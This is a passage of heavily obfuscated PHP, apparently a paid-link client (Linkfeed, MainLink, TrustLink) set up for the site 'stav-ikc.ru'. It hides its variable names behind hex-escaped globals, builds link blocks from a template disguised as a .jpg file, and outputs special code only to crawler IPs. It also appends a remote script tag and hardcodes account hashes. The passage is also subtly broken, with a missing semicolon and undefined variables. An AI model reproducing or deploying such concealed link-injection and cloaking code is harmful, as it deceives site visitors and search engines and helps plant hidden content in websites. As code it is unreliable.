foreach($this->tl_links as${${"\x47\x4cO\x42\x41\x4c\x53"}["\x78\x69\x67u\x74b\x63k"]}=>${${"G\x4cO\x42AL\x53"}["yc\x68mo\x6fs\x69thi"]})
{
$lhhtwgjw="c\x6fm\x6do\x6e\x5f\x6b\x65\x79\x73";
if(in_array(${${"\x47LO\x42\x41\x4cS"}["\x78i\x67u\x74\x62\x63k"]},${$lhhtwgjw}))
{
$wexldgoolsm="\x69";
for(${${"\x47\x4cO\x42\x41\x4c\x53"}["v\x74\x63b\x61z\x78bm"]}=0;
${$wexldgoolsm}<$this->tl_cache_size;
${${"\x47L\x4f\x42AL\x53"}["\x76\x74c\x62\x61zx\x62\x6d"]}++)
{
$miwwmeigrlv="\x69";
if(empty(${${"\x47L\x4f\x42\x41LS"}["\x69\x77furgn\x75\x70g\x70"]}[${$miwwmeigrlv}]))
{
${${"\x47LOB\x41\x4c\x53"}["\x69w\x66u\x72g\x6e\x75p\x67p"]}[${${"GL\x4fBA\x4c\x53"}["\x76\x74\x63b\x61z\x78\x62\x6d"]}]=array();
}
${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x69w\x66u\x72\x67nu\x70\x67\x70"]}[${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x76\x74c\x62\x61\x7axb\x6d"]}][${${"\x47L\x4f\x42\x41LS"}["x\x69\x67ut\x62c\x6b"]}]=${${"G\x4c\x4f\x42\x41\x4cS"}["h\x73h\x64\x68v"]};
}
}
else
{
$uhvphdneqgt="\x6b\x65y";
$pulhxpp="v\x61\x6cu\x65";
${"\x47\x4cO\x42\x41\x4cS"}["\x71\x78\x62iwr\x75bnw\x71\x76"]="\x6b\x65y";
if(empty(${${"G\x4c\x4f\x42\x41L\x53"}["\x69\x77\x66\x75rg\x6eu\x70\x67\x70"]}[$this->page_cluster(${${"\x47L\x4f\x42\x41L\x53"}["x\x69gu\x74\x62\x63k"]},$this->tl_cache_size)]))
{
${"\x47\x4cOB\x41\x4cS"}["t\x62i\x79\x68\x77\x64\x68"]="\x6b\x65\x79";
${${"\x47L\x4f\x42\x41\x4c\x53"}["\x69\x77\x66\x75\x72g\x6e\x75\x70\x67p"]}[$this->page_cluster(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74bi\x79hwdh"]},$this->tl_cache_size)]=array();
}
${${"\x47L\x4fB\x41\x4cS"}["\x69\x77fu\x72g\x6e\x75pg\x70"]}[$this->page_cluster(${${"\x47L\x4f\x42\x41\x4cS"}["\x71\x78\x62i\x77\x72\x75\x62\x6ew\x71\x76"]},$this->tl_cache_size)][${$uhvphdneqgt}]=${$pulhxpp};
}
}
for(${$uqeqdtekiwd}=0;
${${"G\x4c\x4fB\x41LS"}["\x76\x74\x63b\x61\x7a\x78\x62\x6d"]}<$this->tl_cache_size;
${$xjbhrteb}++)
{
$mrwxloyzwai="\x69";
$msyrfvgkeu="\x69";
$this->lc_write($this->cache_filename(${$msyrfvgkeu}),serialize(${${"\x47\x4c\x4fB\x41\x4cS"}["\x69\x77\x66\x75\x72\x67n\x75\x70\x67p"]}[${$mrwxloyzwai}]));
}
}
function lc_is_synced_cache()
{
$mfzeboi="d\x62\x5f\x6d\x74i\x6d\x65";
${$mfzeboi}=filemtime($this->tl_links_db_file);
for(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76\x74\x63\x62az\x78b\x6d"]}=0;
${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x76\x74\x63\x62a\x7ax\x62\x6d"]}<$this->tl_cache_size;
${${"\x47\x4c\x4f\x42\x41L\x53"}["\x76\x74\x63\x62\x61z\x78\x62\x6d"]}++)
{
${${"\x47L\x4f\x42\x41\x4c\x53"}["l\x64\x6fs\x64q\x6d\x70\x78"]}=$this->cache_filename(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x76\x74c\x62\x61\x7a\x78\x62\x6d"]});
${"\x47\x4c\x4fBA\x4c\x53"}["\x79\x64\x76\x71\x66\x63"]="\x66i\x6c\x65\x6e\x61m\x65";
${${"G\x4c\x4f\x42\x41\x4cS"}["g\x6bh\x6b\x74\x69j\x66tgb"]}=filemtime(${${"GL\x4fBALS"}["\x79d\x76q\x66\x63"]});
$hutuhwvho="\x63a\x63\x68\x65_mti\x6de";
if(filesize(${${"\x47\x4c\x4f\x42ALS"}["l\x64o\x73\x64\x71\x6d\x70\x78"]})==0)
{
return false;
}
if(${$hutuhwvho}<(time()-$this->tl_cache_lifetime))
{
return false;
}
if(${${"\x47\x4c\x4f\x42AL\x53"}["\x67k\x68\x6b\x74\x69j\x66tgb"]}<${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x71a\x67\x75\x78\x6fem\x74h\x68k"]})
{
return false;
}
}
return true;
}
function raise_error($e)
{
$this->tl_error="\x3c!--ERROR:\x20".${${"\x47L\x4fB\x41\x4c\x53"}["c\x76\x69\x65it\x70\x72"]}."--\x3e";
return false;
}
function build_links($n=null)
{
${"G\x4c\x4f\x42\x41\x4cS"}["\x76\x76\x76jk\x78\x73d\x77gm"]="\x6e";
$acxdvpwh="n";
$ovpbsjlp="\x6c\x69\x6ek";
$eyegqgtx="\x69";
$ixojtirughsf="\x6e";
${"\x47\x4cO\x42A\x4c\x53"}["\x71\x65q\x66\x62d\x68ry"]="t\x70l"
${${"G\x4c\x4f\x42\x41L\x53"}["\x69\x72\x77\x73\x65\x62\x64r\x74o"]}=count($this->tl_links_page);
${"\x47L\x4f\x42\x41\x4c\x53"}["nt\x6d\x62jv\x72\x65\x6b"]="\x69";
if(!is_numeric(${$ixojtirughsf})||${${"\x47\x4cO\x42A\x4cS"}["\x76v\x76j\x6bx\x73d\x77\x67\x6d"]}>${${"GL\x4f\x42\x41\x4c\x53"}["\x69\x72w\x73\x65\x62\x64\x72\x74\x6f"]})
{
${${"\x47\x4c\x4f\x42\x41LS"}["h\x62\x62\x71\x7avbd"]}=${${"\x47LO\x42\x41\x4c\x53"}["\x69r\x77\x73ebdr\x74o"]};
}
${"\x47\x4c\x4f\x42\x41LS"}["\x6f\x69\x70\x65\x75\x62\x65"]="i";
${"\x47\x4cO\x42A\x4c\x53"}["\x69\x68\x65\x6d\x69\x76o\x6e\x7a\x6f\x6d"]="b\x6c\x6f\x63\x6b";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x65z\x62\x6c\x66\x73by\x77\x78"]="b\x6co\x63\x6b\x54";
$ugesski="b\x6co\x63k";
${${"\x47\x4cO\x42A\x4cS"}["\x75\x68\x74g\x78\x62kb\x6e\x7a\x72"]}=array();
$plsjrcjk="\x74\x70\x6c";
${"G\x4c\x4f\x42\x41L\x53"}["wrrw\x65u\x76\x75"]="\x74\x70\x6c\x5f\x66\x69\x6c\x65n\x61\x6d\x65";
for(${${"\x47\x4cO\x42\x41LS"}["v\x74\x63\x62az\x78\x62\x6d"]}=0;
${$eyegqgtx}<${$acxdvpwh};
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x74m\x62\x6av\x72\x65k"]}++)
{
$dnpblf="\x6c\x69\x6e\x6bs";
${$dnpblf}[]=array_shift($this->tl_links_page);
}
$mllxtkxwym="t\x70l";
${${"\x47L\x4f\x42\x41\x4c\x53"}["\x66fas\x79\x78\x6cd\x6ek\x78"]}="";
if(isset($this->tl_links["\x5f_trust\x6ci\x6ek_s\x74a\x72t__"])&&strlen($this->tl_links["\x5f_\x74ru\x73tl\x69\x6ek\x5fs\x74a\x72t\x5f\x5f"])!=0&&(in_array($_SERVER["R\x45MOT\x45\x5fA\x44\x44\x52"],$this->tl_links["\x5f\x5f\x74\x72us\x74\x6c\x69\x6e\x6b_robo\x74s__"])||$this->tl_force_show_code))
{
${${"GL\x4f\x42\x41\x4c\x53"}["\x66fasy\x78\x6c\x64\x6e\x6bx"]}.=$this->tl_links["\x5f\x5ft\x72us\x74\x6cin\x6b_s\x74\x61\x72\x74__"];
}
if(isset($this->tl_links["_\x5f\x74\x72u\x73\x74link\x5f\x72\x6fbot\x73__"])&&in_array($_SERVER["\x52\x45\x4d\x4fT\x45\x5f\x41D\x44\x52"],$this->tl_links["_\x5ft\x72\x75\x73\x74\x6cin\x6b\x5f\x72ob\x6ft\x73\x5f\x5f"])||$this->tl_verbose)
{
$cvypwwiunmmr="\x72e\x73u\x6ct";
if($this->tl_error!=""&&$this->tl_debug)
{
${"\x47\x4c\x4fBA\x4cS"}["v\x78\x73\x66\x78\x67f\x71o\x6a\x63"]="res\x75\x6c\x74";
${${"\x47\x4c\x4fBAL\x53"}["\x76\x78\x73\x66x\x67\x66\x71\x6f\x6ac"]}.=$this->tl_error;
}
$bckhvbpcz="\x72\x65\x73\x75\x6c\x74";
${${"\x47L\x4f\x42\x41\x4c\x53"}["\x66f\x61sy\x78\x6cd\x6e\x6b\x78"]}.="\x3c!--\x52\x45\x51\x55EST\x5f\x55\x52I\x3d".$_SERVER["R\x45Q\x55EST\x5f\x55R\x49"]."-->\n";
${$cvypwwiunmmr}.="\n<\x21--\n";
${"\x47\x4c\x4f\x42ALS"}["\x74\x73f\x63\x71\x6d\x65\x64\x68\x6ej"]="\x72\x65\x73ult";
${"G\x4cOB\x41\x4c\x53"}["y\x6dt\x62\x6a\x64\x6aa\x65"]="\x72e\x73\x75\x6c\x74";
${${"G\x4c\x4fB\x41\x4cS"}["\x66f\x61s\x79\x78\x6cd\x6e\x6b\x78"]}.="\x4c\x20".$this->tl_version."\n";
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x69\x65\x63\x68\x72\x6cn\x75f\x71\x74"]="\x72\x65\x73ul\x74";
$dxqwsxwtvlr="r\x65s\x75lt";
${${"\x47\x4c\x4fBA\x4c\x53"}["f\x66\x61\x73\x79\x78l\x64\x6e\x6b\x78"]}.="R\x45M\x4fTE\x5fADDR=".$_SERVER["\x52\x45M\x4f\x54E_A\x44D\x52"]."\n";
$hvnfswhto="\x72e\x73\x75\x6c\x74";
$qywufu="\x72e\x73\x75lt";
${${"GLOB\x41\x4c\x53"}["\x74s\x66\x63\x71me\x64h\x6e\x6a"]}.="r\x65\x71\x75e\x73\x74_\x75r\x69\x3d".$this->tl_request_uri."\n";
${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x66fa\x73\x79\x78l\x64\x6ek\x78"]}.="c\x68ar\x73et=".$this->tl_charset."\n";
${"G\x4c\x4f\x42A\x4c\x53"}["\x71\x65\x77\x68\x73\x76\x6em\x71\x78"]="re\x73\x75\x6c\x74";
$slhwupy="\x72es\x75l\x74";
$hfxuufrbyk="\x72\x65su\x6ct";
${$qywufu}.="i\x73\x5f\x73t\x61t\x69c=".$this->tl_is_static."\n";
${${"\x47\x4c\x4f\x42\x41LS"}["\x66\x66\x61\x73\x79x\x6c\x64\x6e\x6b\x78"]}.="\x6dulti\x5fs\x69te=".$this->tl_multi_site."\n";
${$hfxuufrbyk}.="\x66\x69\x6c\x65 change \x64\x61\x74e\x3d".$this->tl_file_change_date."\n";
${${"\x47L\x4f\x42A\x4c\x53"}["ymtb\x6a\x64j\x61\x65"]}.="\x6cc_\x66i\x6ce\x5f\x73\x69ze=".$this->tl_file_size."\n";
${$dxqwsxwtvlr}.="lc\x5f\x6c\x69\x6e\x6b\x73\x5fc\x6fu\x6e\x74\x3d".$this->tl_links_count."\n";
${${"G\x4c\x4f\x42AL\x53"}["\x66fas\x79\x78ld\x6e\x6b\x78"]}.="le\x66t_l\x69\x6e\x6b\x73\x5f\x63\x6fu\x6et\x3d".count($this->tl_links_page)."\n";
${$slhwupy}.="tl_c\x61ch\x65\x3d".$this->tl_cache."\n";
${$hvnfswhto}.="\x74l_\x63\x61c\x68e_\x73\x69\x7a\x65\x3d".$this->tl_cache_size."\n";
${${"\x47\x4c\x4fB\x41LS"}["\x71\x65whs\x76n\x6dq\x78"]}.="\x74l\x5f\x63\x61che\x5fbl\x6f\x63k\x3d".$this->tl_cache_cluster."\n";
${${"\x47L\x4f\x42\x41\x4cS"}["f\x66\x61\x73\x79x\x6c\x64n\x6b\x78"]}.="t\x6c\x5fc\x61c\x68e_u\x70d\x61\x74e\x3d".$this->tl_cache_update."\n";
${$bckhvbpcz}.="n\x3d".${${"\x47L\x4f\x42\x41\x4cS"}["h\x62\x62q\x7a\x76\x62d"]}."\n";
${${"GLO\x42\x41\x4c\x53"}["\x69ec\x68\x72ln\x75\x66q\x74"]}.="-->";
}
${${"\x47L\x4f\x42\x41\x4c\x53"}["u\x66f\x7au\x66q"]}=dirname(__FILE__)."/".$this->tl_template.".j\x70g";
${${"G\x4cOB\x41\x4c\x53"}["qeq\x66\x62d\x68\x72\x79"]}=$this->lc_read(${${"\x47LOBA\x4c\x53"}["\x77\x72\x72weu\x76\x75"]});
if(!${$plsjrcjk})
return$this->raise_error("\x54emp\x6cate\x20f\x69le n\x6ft\x20f\x6fu\x6e\x64");
if(!preg_match("/\x3c{\x62lock}>(\x2e+)<{\x5c/\x62\x6coc\x6b}>/\x69\x73",${${"\x47L\x4fB\x41LS"}["\x62\x61m\x6a\x7aw\x65\x63\x76"]},${${"G\x4cO\x42\x41\x4cS"}["\x68\x70\x6b\x71\x78\x69\x75\x6bry"]}))
return$this->raise_error("\x57ron\x67\x20\x74em\x70la\x74\x65\x20f\x6f\x72m\x61t:\x20\x6eo\x20\x3c{\x62l\x6f\x63k}\x3e<{/bloc\x6b}\x3e t\x61gs");
${${"\x47LOB\x41\x4c\x53"}["\x62\x61\x6dj\x7a\x77\x65\x63\x76"]}=str_replace(${${"\x47\x4c\x4fB\x41L\x53"}["h\x70k\x71\x78\x69\x75\x6br\x79"]}[0],"%\x73",${$mllxtkxwym});
$ilwhcxuze="b\x6c\x6f\x63\x6b";
${${"\x47\x4cO\x42A\x4c\x53"}["\x69\x68\x65\x6d\x69\x76\x6f\x6e\x7a\x6f\x6d"]}=${$ugesski}[0];
$wdmbap="\x62l\x6f\x63k\x54";
${${"\x47\x4c\x4f\x42\x41LS"}["t\x6ao\x74\x78e\x63\x64"]}=substr(${$ilwhcxuze},9,-10);
if(strpos(${${"\x47\x4cOBA\x4c\x53"}["\x74\x6aotx\x65\x63\x64"]},"\x3c{\x68e\x61d_\x62\x6co\x63\x6b}\x3e")===false)
return$this->raise_error("\x57r\x6fn\x67\x20\x74\x65\x6d\x70\x6ca\x74\x65\x20form\x61\x74: n\x6f\x20<{he\x61\x64_bl\x6f\x63k}> \x74ag.");
if(strpos(${${"\x47\x4c\x4fB\x41\x4c\x53"}["t\x6a\x6f\x74\x78\x65\x63d"]},"\x3c{/\x68ea\x64_\x62l\x6f\x63\x6b}\x3e")===false)
return$this->raise_error("\x57\x72o\x6e\x67\x20te\x6d\x70la\x74e \x66\x6fr\x6dat: no\x20\x3c{/hea\x64\x5f\x62l\x6fck}>\x20\x74\x61g\x2e");
if(strpos(${${"\x47\x4c\x4f\x42\x41\x4cS"}["t\x6ao\x74\x78\x65cd"]},"<{lin\x6b}\x3e")===false)
return$this->raise_error("\x57r\x6fng tem\x70l\x61te\x20form\x61t: \x6e\x6f\x20\x3c{l\x69nk}> t\x61\x67.");
if(strpos(${$wdmbap},"<{\x74\x65\x78\x74}\x3e")===false)
return$this->raise_error("\x57r\x6fn\x67 t\x65mp\x6cate \x66\x6fr\x6da\x74:\x20\x6eo\x20<{\x74\x65\x78t}\x3e\x20\x74a\x67.");
$fdrrzpcnmfl="\x72\x65\x73ul\x74";
if(strpos(${${"G\x4c\x4f\x42\x41\x4cS"}["\x65\x7ab\x6c\x66\x73\x62yw\x78"]},"<{\x68\x6f\x73\x74}\x3e")===false)
return$this->raise_error("\x57ron\x67\x20\x74\x65\x6dp\x6c\x61\x74\x65 f\x6fr\x6d\x61t: \x6e\x6f\x20<{hos\x74}> t\x61\x67\x2e");
$goqkerdxyve="re\x73\x75l\x74";
if(!isset(${${"\x47\x4cO\x42A\x4c\x53"}["\x6cd\x78\x67h\x77\x6b\x76\x72\x69\x65o"]}))
${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6c\x64\x78g\x68w\x6bv\x72\x69e\x6f"]}="";
foreach(${${"G\x4cO\x42AL\x53"}["\x75h\x74\x67\x78\x62\x6bbnz\x72"]} as${${"GL\x4f\x42A\x4c\x53"}["\x6f\x69\x70e\x75\x62\x65"]}=>${$ovpbsjlp})
{
$mmeqvyugv="\x69";
$yeiqalkwu="p\x61\x72\x73\x65\x64";
$pirnfdxhm="\x70\x61\x72\x73\x65\x64";
${"GL\x4f\x42A\x4c\x53"}["\x76\x64mc\x75\x6enb"]="p\x61\x72\x73\x65\x64";
if(${$mmeqvyugv}>=$this->tl_test_count)
continue;
$bgxxnl="\x6c\x69n\x6b";
${"\x47\x4c\x4fBA\x4c\x53"}["\x72\x66\x69\x65\x6e\x63\x65\x78\x63n\x78\x6f"]="\x62\x6cock";
$gdrwxesjido="\x6c\x69\x6e\x6b";
$whzrwwgvjh="b\x6c\x6f\x63\x6b";
${"\x47L\x4f\x42AL\x53"}["\x6as\x6d\x64\x67\x71\x74"]="p\x61\x72\x73ed";
if(!is_array(${${"GL\x4f\x42AL\x53"}["\x62\x6a\x6c\x78\x68\x6dm\x79\x66t\x69"]}))
{
return$this->raise_error("li\x6ek\x20m\x75s\x74 \x62e\x20an\x20ar\x72\x61\x79");
}
elseif(!isset(${$bgxxnl}["\x74\x65x\x74"])||!isset(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x62\x6alx\x68m\x6d\x79ft\x69"]}["\x75\x72l"]))
{
return$this->raise_error("f\x6fr\x6d\x61t\x20of\x20\x6c\x69nk\x20\x6d\x75s\x74\x20\x62\x65\x20\x61n\x20\x61r\x72\x61\x79(\x27an\x63h\x6f\x72'=\x3e\$\x61n\x63\x68\x6f\x72,\x27\x75rl\x27=\x3e\$\x75\x72\x6c,\x27\x74e\x78t'=\x3e\$\x74e\x78t");
}
elseif(!(${${"GL\x4fB\x41\x4cS"}["q\x73\x73\x76w\x74\x65"]}=@parse_url(${$gdrwxesjido}["ur\x6c"]))||!isset(${${"GL\x4f\x42\x41L\x53"}["\x6as\x6d\x64\x67q\x74"]}["host"]))
{
return$this->raise_error("wro\x6e\x67\x20f\x6fr\x6da\x74\x20of u\x72l: ".${${"\x47LO\x42\x41\x4cS"}["bjlx\x68mmyf\x74\x69"]}["u\x72l"]);
}
if((${${"\x47L\x4fB\x41L\x53"}["\x67wh\x6f\x77\x7a"]}=count(explode(".",${$pirnfdxhm}["h\x6fst"])))<2)
{
$genajuguixx="\x70\x61\x72\x73\x65d";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6ee\x73\x76\x72\x64\x6bm"]="\x6c\x69\x6e\x6b";
return$this->raise_error("\x77r\x6fn\x67 host:\x20".${$genajuguixx}["host"]." \x69\x6e url ".${${"G\x4cOB\x41\x4c\x53"}["\x6e\x65s\x76\x72\x64\x6b\x6d"]}["\x75\x72\x6c"]);
}
$ucecfexlprc="b\x6co\x63\x6b";
$host=strtolower((${${"GL\x4f\x42\x41LS"}["g\x77\x68\x6f\x77\x7a"]}>2&&strpos(strtolower(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["q\x73\x73v\x77t\x65"]}["ho\x73\x74"]),"\x77ww.")===0)?substr(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x76\x64\x6d\x63\x75\x6e\x6eb"]}["ho\x73\x74"],4):${$yeiqalkwu}["\x68\x6fst"]);
${${"\x47\x4cOB\x41L\x53"}["r\x66\x69\x65n\x63\x65\x78\x63\x6e\x78o"]}=str_replace("<{h\x6f\x73t}\x3e",$host,${${"\x47LOB\x41\x4c\x53"}["\x74\x6a\x6ftxe\x63d"]});
if(empty(${${"\x47LOB\x41\x4cS"}["\x62jlx\x68\x6d\x6dy\x66t\x69"]}["\x61nchor"]))
{
${"GL\x4f\x42\x41LS"}["\x6a\x68\x78\x64\x73\x6b\x74\x74n\x70qh"]="\x62loc\x6b";
${"G\x4c\x4fB\x41\x4c\x53"}["xnp\x70p\x6engl\x77\x6b"]="\x62lo\x63k";
${${"\x47\x4cO\x42\x41L\x53"}["\x78\x6e\x70\x70pn\x6eg\x6c\x77\x6b"]}=preg_replace("/<{he\x61d\x5fb\x6co\x63\x6b}\x3e(\x2e+)\x3c{\\/h\x65\x61d\x5f\x62l\x6fck}>/\x69s","",${${"G\x4c\x4f\x42\x41\x4cS"}["\x6ah\x78\x64\x73k\x74t\x6e\x70\x71\x68"]});
}
else
{
$zcqedvf="\x6ci\x6e\x6b";
${"\x47LO\x42\x41\x4cS"}["v\x64\x6cy\x69s\x6afb"]="b\x6c\x6f\x63\x6b";
$ugloyd="h\x72\x65\x66";
${"\x47L\x4fB\x41\x4cS"}["\x67\x6e\x66t\x65\x79"]="bl\x6f\x63\x6b";
$vsighgv="\x62\x6c\x6fc\x6b";
${$ugloyd}=empty(${${"\x47\x4c\x4f\x42A\x4cS"}["bjlx\x68\x6d\x6d\x79\x66\x74\x69"]}["\x70\x75\x6e\x69\x63\x6f\x64e\x5f\x75\x72l"])?${${"\x47\x4c\x4fB\x41\x4cS"}["bj\x6c\x78\x68\x6d\x6d\x79\x66t\x69"]}["\x75rl"]:${${"G\x4cOB\x41\x4cS"}["\x62\x6alx\x68\x6d\x6d\x79\x66\x74i"]}["pu\x6eicode_url"];
${${"\x47\x4c\x4fB\x41LS"}["\x68p\x6bqx\x69u\x6bry"]}=str_replace("<{l\x69nk}>","\x3ca h\x72ef=\x22".${${"\x47LO\x42ALS"}["qo\x77vq\x71\x78u"]}."\">".${$zcqedvf}["\x61nc\x68o\x72"]."\x3c/\x61>",${$vsighgv});
${"\x47L\x4f\x42\x41\x4c\x53"}["g\x6a\x67\x63\x70\x61cf\x70\x69"]="\x62\x6co\x63\x6b";
${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x68\x70\x6b\x71\x78i\x75k\x72\x79"]}=str_replace("\x3c{h\x65a\x64\x5fbl\x6f\x63\x6b}>","",${${"GL\x4fB\x41\x4c\x53"}["g\x6ef\x74e\x79"]});
${${"\x47L\x4fB\x41L\x53"}["\x76\x64\x6c\x79\x69\x73\x6afb"]}=str_replace("\x3c{/hea\x64\x5fb\x6c\x6f\x63\x6b}>","",${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x67\x6a\x67\x63\x70\x61\x63\x66\x70i"]});
}
${$whzrwwgvjh}=str_replace("<{tex\x74}>",${${"GLO\x42\x41\x4cS"}["bjl\x78\x68mm\x79\x66t\x69"]}["\x74\x65\x78\x74"],${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x68\x70k\x71x\x69u\x6b\x72\x79"]});
${${"\x47LO\x42A\x4c\x53"}["\x6c\x64xg\x68\x77k\x76\x72\x69\x65\x6f"]}.=${$ucecfexlprc};
}
if(is_array(${${"G\x4c\x4f\x42\x41\x4cS"}["\x75\x68\x74\x67\x78\x62\x6bb\x6e\x7a\x72"]})&&(count(${${"\x47\x4cO\x42A\x4c\x53"}["\x75\x68t\x67\x78\x62k\x62\x6ez\x72"]})>0))
{
${"\x47\x4c\x4fB\x41\x4c\x53"}["b\x63\x74\x6b\x6a\x78"]="\x74\x70l";
${"\x47\x4c\x4f\x42\x41L\x53"}["\x79\x7a\x67\x74\x76h\x6b\x75\x71pe"]="\x74pl";
${${"\x47\x4cO\x42\x41\x4c\x53"}["\x62\x63t\x6b\x6a\x78"]}=sprintf(${${"G\x4c\x4f\x42A\x4c\x53"}["\x62\x61\x6d\x6a\x7awe\x63\x76"]},${${"G\x4c\x4f\x42AL\x53"}["\x6c\x64xgh\x77\x6bv\x72\x69e\x6f"]});
${${"\x47\x4cO\x42ALS"}["f\x66a\x73\x79\x78ld\x6e\x6bx"]}.=${${"GL\x4f\x42A\x4c\x53"}["\x79\x7a\x67\x74vhk\x75\x71\x70\x65"]};
}
if(isset($this->tl_links["_\x5f\x74\x72u\x73t\x6cin\x6b\x5f\x65n\x64\x5f\x5f"])&&strlen($this->tl_links["__\x74r\x75\x73\x74l\x69\x6ek_\x65n\x64_\x5f"])!=0&&(in_array($_SERVER["REM\x4f\x54\x45\x5fAD\x44R"],$this->tl_links["__\x74ru\x73\x74\x6c\x69nk_r\x6fbo\x74s\x5f\x5f"])||$this->tl_force_show_code))
{
${"\x47\x4cOBAL\x53"}["\x6ar\x73\x76\x62\x79\x6c\x72"]="re\x73u\x6c\x74";
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6ars\x76\x62\x79\x6cr"]}.=$this->tl_links["_\x5ftru\x73t\x6cink\x5fe\x6e\x64\x5f_"];
}
${$goqkerdxyve}=${${"G\x4c\x4fB\x41\x4c\x53"}["f\x66a\x73\x79\x78\x6cd\x6ek\x78"]}.$this->uptolike_tag();
if($this->tl_test&&!$this->tl_isrobot)
${${"\x47L\x4fB\x41\x4c\x53"}["\x66\x66as\x79xl\x64\x6ekx"]}="<no\x69\x6e\x64\x65\x78>".${${"\x47\x4cOB\x41L\x53"}["f\x66as\x79\x78ld\x6e\x6b\x78"]}."</\x6eo\x69nd\x65\x78>";
return${$fdrrzpcnmfl};
}
function uptolike_tag()
{
${"\x47L\x4fBA\x4cS"}["mw\x78\x74\x78p\x61\x67\x6as\x65"]="r\x65\x73\x75\x6ct";
$hjabkitpnm="\x75pto\x6c\x69\x6be_\x68a\x73\x68";
${${"\x47\x4c\x4fB\x41\x4cS"}["u\x71ussu\x71\x77\x64\x7a\x6d"]}="\x74l".sha1($this->tl_host);
${${"\x47LO\x42\x41\x4cS"}["m\x77\x78tx\x70\x61\x67j\x73e"]}="\x3c\x73\x63\x72\x69\x70\x74\x20\x61\x73yn\x63\x3d\x22a\x73ync\" \x73\x72\x63\x3d\x22\x68t\x74p\x73://\x77.upt\x6f\x6ci\x6be.\x63\x6f\x6d/w\x69\x64g\x65t\x73/\x76\x31/\x7ap.j\x73?p\x69\x64=".${$hjabkitpnm}."\" typ\x65=\x22t\x65\x78t/\x6a\x61\x76\x61\x73\x63r\x69\x70t\x22\x3e</\x73cr\x69\x70t\x3e";
return${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x66\x66\x61\x73\x79x\x6c\x64\x6e\x6bx"]};
}
}
define("L\x49NKF\x45E\x44\x5f\x55\x53\x45R","\x66e\x34\x62a605e\x32\x32\x64\x32f\x38d\x65\x384\x37\x35270\x66\x61\x61\x36\x66d6\x36\x300\x61b\x30d\x624");
${"\x47\x4cO\x42\x41\x4c\x53"}["\x6f\x65\x76\x69e\x78\x6d\x79\x74\x72\x75"]="\x6f";
${$vcsskmgqpwe}["requ\x65\x73\x74_u\x72i"]=$_SERVER["R\x45\x44\x49\x52E\x43T\x5fUR\x4c"];
${${"G\x4c\x4fB\x41\x4c\x53"}["h\x62r\x7a\x79\x77\x69\x73\x74\x61\x65"]}["h\x6f\x73\x74"]="stav-ikc\x2e\x72\x75";
${${"G\x4cO\x42\x41\x4c\x53"}["\x74\x74\x61e\x68\x6dm\x69\x75"]}=new LinkfeedClient(${${"\x47LO\x42\x41\x4cS"}["\x69\x77\x75\x6db\x6e\x7a"]});
unset(${${"GL\x4f\x42\x41\x4c\x53"}["\x69\x77u\x6d\x62\x6ez"]});
${${"\x47L\x4fBA\x4cS"}["\x71\x73\x79\x7ar\x6b\x66e\x72\x6bu"]}.=$linkfeed->return_links();
${${"\x47\x4c\x4f\x42A\x4cS"}["i\x77\x75\x6db\x6ez"]}["\x55\x53\x45\x52N\x41M\x45"]="\x345\x392\x37\x39\x38FAD\x37EC8\x455\x3291D\x387\x37B0C\x32DF238";
${$wwcqbjldh}["r\x65que\x73\x74\x5fu\x72i"]=$_SERVER["\x52E\x44I\x52ECT_\x55R\x4c"];
${${"\x47L\x4f\x42\x41\x4c\x53"}["i\x77\x75\x6d\x62\x6e\x7a"]}["h\x6fs\x74"]="\x73\x74a\x76-\x69kc\x2er\x75";
${${"\x47LO\x42ALS"}["\x66g\x65a\x64\x6c\x6e\x77"]}=new MLClient(${${"\x47\x4cO\x42A\x4c\x53"}["\x71v\x65\x74xcv\x74\x74\x78y"]});
unset(${${"G\x4c\x4f\x42A\x4c\x53"}["\x69wu\x6db\x6ez"]});
${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67b\x64\x64\x6d\x64\x67h"]}.=$mainlink->build_links();
define("\x54\x52\x55\x53TL\x49\x4eK_\x55S\x45R","\x38b8\x61d\x313\x37\x63\x64\x39b77\x660\x33\x39ff4\x37\x369\x35e\x32ae\x64f\x37760a\x63183");
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x77u\x6d\x62nz"]}["\x72equest\x5furi"]=$_SERVER["R\x45\x44I\x52E\x43\x54\x5f\x55RL"];
$ybwwdpe="p\x61\x74t\x65rn";
${$iyntde}["ho\x73t"]="s\x74a\x76-\x69\x6bc.\x72\x75";
${${"\x47\x4c\x4f\x42AL\x53"}["k\x76\x69\x6c\x75\x63\x6fiz"]}=new TrustlinkClient(${${"\x47\x4c\x4fB\x41L\x53"}["\x6fe\x76\x69\x65\x78my\x74\x72u"]});
unset(${${"\x47\x4c\x4fB\x41\x4c\x53"}["i\x77\x75m\x62\x6e\x7a"]});
${${"GL\x4f\x42\x41\x4c\x53"}["q\x73y\x7ark\x66\x65\x72\x6bu"]}.=$trustlink->build_links();
${$ybwwdpe}="\x7e(<\x61\x20h\x72e\x66=[(\x22|'][^\"]*[(\"|\x27])([^\x3c]*)(\x3c/a\x3e)~";
${${"G\x4c\x4f\x42\x41LS"}["\x72\x6a\x74r\x68xt"]}="\$\x31\x20class\x3d\x22\x6ci\x6e\x6b\"\$2\$\x33";
